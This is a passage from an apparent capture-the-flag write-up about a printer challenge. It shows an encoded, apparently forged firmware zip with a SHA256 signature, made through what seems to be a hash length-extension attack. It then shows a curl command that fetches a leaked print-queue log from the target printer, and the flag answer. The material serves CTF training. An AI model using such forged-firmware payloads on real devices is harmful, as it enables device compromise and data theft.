QftcWTtjfb8YO332fOItTdtbnhm7FtQ2NXejPpd7aKdj8HaW+z7k7WHXDeL+1Grva+ftW9FZ1zt99v3O2vfZt/nrH2763zyo0/Z+7JZ+47NRBHG3obCrvadKOZqb6+yWXkbtwzeTp5zPhzP81w8RWr/GWffQ+0Vzv6Q2cZmf+A+HzbPq+OTpfXEuPFaNP2r4/xijf7Xuq4LZtlWpO7hS9z9XzWP91f189dmPdXj+Bvqz/fzT+axel7dMuupHt+fCiQO1fdFg0DyIUR0icYH4rlDcM97yJr26nlyWHDPq0gIpMm2qvnTSvx91fdRskY9T9J6+HYXavTze9je6muzn58gLxC74z6Fx8oFGocztD9T1P4rRNrdiXq5ep6i/vB8gP+lviZY/vz1vk79u2n9kDuySvvJ+1+pcV03hRp5JzMFvaiXZmejM2gzg0TWs/IMSQ0hiShqXp7L5KeVjKzq+UJRVkoLaCafnc9ouqZGHzp8qNvdiWSvpGWlUFAWZS2nFxbRbEHJarJaymYXMcWhydhTZ13p/7hxt2R5+ET8WEJOjA2RBBbWV0Xy0ONj8WOjg2yJme+CTSNjk3JCojVIQyeQPJI8PhBPyseHhx9LTMgT8YFkQob8mpliyez1x2bUkPyc/n4m/0ZTFV2pTtLhvGTiZfeMTcuR1WJeTik5laTsjB7HBWo6J5eKmursG7lArE8Xi7QaMxVIlnH/IDw183vYjCK2ayhaXMzqyjRGvWBhCs7SOVzTPIrm8roWjQ+MRnRljmpzuVJ0upTOqJG0ikwtpRRTKKou5nB9FuoFq+RrWqGYzucYRcZlBS2jEEd6Np/RSZP4MslpdC6PT3RtAR/NcYkW8maoo1qKzp+UWtjULKo1BSwGnOMWlGx6BpEarUasenAoURTP5iyedm63x38qZJ1NnoWwDKqVJwnCf3P4LGJzkvi8wDDnzy9vDnJ8WI8B7r0Hn3xXuY3XusCHdRsg8GH55PxmQ2QMWWt/4MP6DvAitUO+F/BhnX4SsbmAsA4EhPcLED5+p5G1lgc+rBcBRa7/Pg6fRNa7AeiwrgQM1+g/yDlkxRT4sP4EvMS1z1//05Q/QHVYpwKCH1F3uPCfQ86cSFSVNwvvUSD8+Jc5Pqx7beT8+fTcFzg+rI8B+XgFOXyZ48PfScCnuAHnl9kXOD6sEwAbOX/++l9B7P3L5w/zf0N5/qscv1Z+bi3+6xwf1vmAQe76+Xi+iaw5Dq9Pdr5uxN2fj//b+Nfi4MN6s/IJ+X9GbM6mnQ9N+ZAHXc/xYBzJOlpw8OE95FqXhZ33aP8mx7fXs/R1N3wP/gccH9aN4RjbT54P8iG1AR/WZ7GYuz///NqgNv7tHPi1/n440S2fdRwqrN+sJ4Kqnx+Njr4z/B5K5yrn+99ag3+y18IGjsDz/w1QSwECHgMUAAAACABFpZBTFqCo8GoJAADgQAAADAAYAAAAAAAAAAAA7YEAAAAAZmlybXdhcmUuYmluVVQFAAOipLthdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAABAAEAUgAAALAJAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAABRQFBLAwQUAAAACACrSSVU7ktM4UAAAABKAAAADAAcAGZpcm13YXJlLmJpblVUCQADMWHVYTlh1WF1eAsAAQT1AQAABBQAAAA1yjEOgDAIBdC9p6hx958JiKkkCISq59fFN791AauDaR5NsuOhwswIQ5b6tddmMTooE6aMvNlUoC5xqo8/fae9UEsBAh4DFAAAAAgAq0klVO5LTOFAAAAASgAAAAwAGAAAAAAAAQAAAP+BAAAAAGZpcm13YXJlLmJpblVUBQADMWHVYXV4CwABBPUBAAAEFAAAAFBLBQYAAAAAAQABAFIAAACGAAAAAAA=”,”signature”:”c901f1a1fb1d0e37e8a0c104f5e919cd991b508aca27911392f43e0124d488a6",”secret_length”:16,”algorithm”:”SHA256"}
Reupload in the update firmware and you should have success:
Finally, curl the command based on the hint:
$ curl https://printer.kringlecastle.com/incoming/printerlogDocuments queued for printing=============================Biggering.pdfSize Chart from https://clothing.north.pole/shop/items/TheBigMansCoat.pdfLowEarthOrbitFreqUsage.txtBest Winter Songs Ever List.docWin People and Influence Friends.pdfQ4 Game Floor Earnings.xlsxFwd: Fwd: [EXTERNAL] Re: Fwd: [EXTERNAL] LOLLLL!!!.emlTroll_Pay_Chart.xlsx
Answer: Troll_Pay_Chart.xlsx
As always, stay safe!